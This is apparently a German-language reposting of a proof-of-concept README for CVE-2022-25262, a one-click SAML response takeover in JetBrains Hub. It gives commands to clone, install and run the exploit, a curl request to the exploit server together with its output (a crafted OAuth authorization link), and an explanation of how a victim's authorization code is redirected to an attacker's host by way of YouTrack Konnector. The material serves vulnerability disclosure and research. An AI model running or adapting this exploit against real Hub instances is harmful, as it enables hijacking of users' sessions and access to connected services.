
PoC + Schwachstellendetails für CVE-2022-25262 / JetBrains Hub – SAML-Response-Übernahme per Single-Click
PoC + Schwachstellendetails für CVE-2022-25262 | JetBrains Hub Ein-Klick-SAML-Antwortübernahme
Installieren und ausführen:
$ git clone https://github.com/yuriisanin/CVE-2022-25262
$ cd CVE-2022-25262/
$ pip3 install -r requirements.txt
$ python3 exploit.py -h
usage: exploit.py [-h] [-p P]
optional arguments:
-h, --help show this help message and exit
-p P Uvicorn port
# If you run the exploit on the local machine, you might need to use Ngrok or alternatives.
$ ngrok http 8000
Verwendung:
Abfrageparameter:
Exploit-Link abrufen:
$ curl -v "http://{exploit-host}/get-exploit-link?hub_url=https://hub.jetbrains.com&issuer=jbs.zendesk.com&acs_url=https://jbs.zendesk.com/access/saml"
* Trying {exploit-host-ip}:80...
* Connected to {exploit-host} ({exploit-host-ip}) port 80 (#0)
> GET /get-exploit-link?hub_url=https://hub.jetbrains.com&issuer=jbs.zendesk.com&acs_url=https://jbs.zendesk.com/access/saml HTTP/1.1
> Host: {exploit-host-ip}
> User-Agent: curl/7.77.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Content-Length: 341
< Content-Type: application/json
< Date: Sat, 30 Apr 2022 19:14:45 GMT
< Server: uvicorn
<
* Connection #0 to host {exploit-host-ip} left intact
{"exploit_url":"https://hub.jetbrains.com/api/rest/oauth2/auth?client_id=fd6b45e6-4a91-4574-9fcf-ebc6926f6378&response_type=code&scope=Hub+YouTrack+TeamCity+Upsource+fd6b45e6-4a91-4574-9fcf-ebc6926f6378&state=fhdyaaf&access_type=offline&redirectURI=https://konnector.services.jetbrains.com/ring/oauth"}
DEMO:
Die Schwachstelle besteht aus zwei Teilen:
Der SAML-IdP fungiert als Erweiterung für OAuth. Wenn ein bestimmter Benutzer sich bei einem bestimmten Dienstanbieter anmelden möchte, durchläuft er den OAuth-Autorisierungscode-Grant-Flow (Anfragen 1-2), und sobald der Code eingeholt wurde, wird er an den Hub zurückgegeben (Anfrage 3). Der Hub nimmt die Informationen über den mit dem Code verknüpften Benutzer und stellt eine signierte SAML-Antwort für den Dienst aus. Obwohl der SAML-IdP für die Integration den Hub-OAuth2-Client (client_id=0-0-0-0-0) verwendet, prüft er nicht, in wessen Namen der Code ausgestellt wurde. Das Einzige, was hier zählt, ist, ob der Code gültig ist. Dies kann zu einer SAML-Antwortübernahme führen, wenn der Angreifer einen Weg findet, einen Autorisierungscode von einem beliebigen im Hub registrierten OAuth-Client zu übernehmen.

YouTrack Konnector ist ein Erstanbieterdienst, der es ermöglicht, eine bestimmte YouTrack-Instanz mit ihrem Slack-Bot zu verbinden. Der Dienst nimmt die URL-Adresse eines YouTrack sowie die ID und das Geheimnis des Konnector-OAuth-Clients entgegen (Anfrage 1). Anschließend versucht er zu überprüfen, ob die angegebene URL auf ein gültiges YouTrack verweist, indem er mehrere API-Endpunkte aufruft („Handshake“-Anfragen 2-3). Wenn alles gut geht, gibt Konnector die URL zurück, die es einem bestimmten Benutzer ermöglicht, mit dem OAuth-Code-Grant-Flow fortzufahren (Antwort 1). Die URL enthält einen „state“-Abfrageparameter, der dem Konnector hilft, den OAuth-Autorisierungscode an den richtigen Handler (Hub-Instanz) weiterzuleiten. Ein Angreifer könnte einen Host mit den für den „Handshake“ erforderlichen Endpunkten erstellen und einen „state“-Parameter erhalten, der auf den Host des Angreifers verweist. Danach könnte der Angreifer eine OAuth-Autorisierungs-URL erstellen und an ein Opfer senden. Wenn das Opfer auf den Link klickt und den OAuth-Flow abschließt (das Opfer muss eine gültige Sitzung im Hub haben), empfängt der Konnector-Dienst den Code und sendet ihn an den Host des Angreifers (Anfragen 4-6).

Das YouTrack-Team hat eine Prüfung hinzugefügt, die die Verwendung von Autorisierungscodes erlaubt, die für den OAuth-Client „JetBrains Hub Service“ während des „OAuth2 -> SAML“-Austauschprozesses ausgestellt wurden. Folglich gibt es keine Möglichkeit, Autorisierungscodes auszutauschen, die für den OAuth-Client „YouTrack Konnector“ ausgestellt wurden.
| Name | Beschreibung | Erforderlich |
|---|
| hub_url | URL der Ziel-Hub-Instanz | ✅ |
| issuer | SAML-Aussteller | ✅ |
| acs_url | Assertion Consumer Service URL | ✅ |
| youtrack_url | URL der mit dem Hub verbundenen YouTrack-Instanz (erforderlich, wenn der Gastbenutzer deaktiviert ist) | ❔ |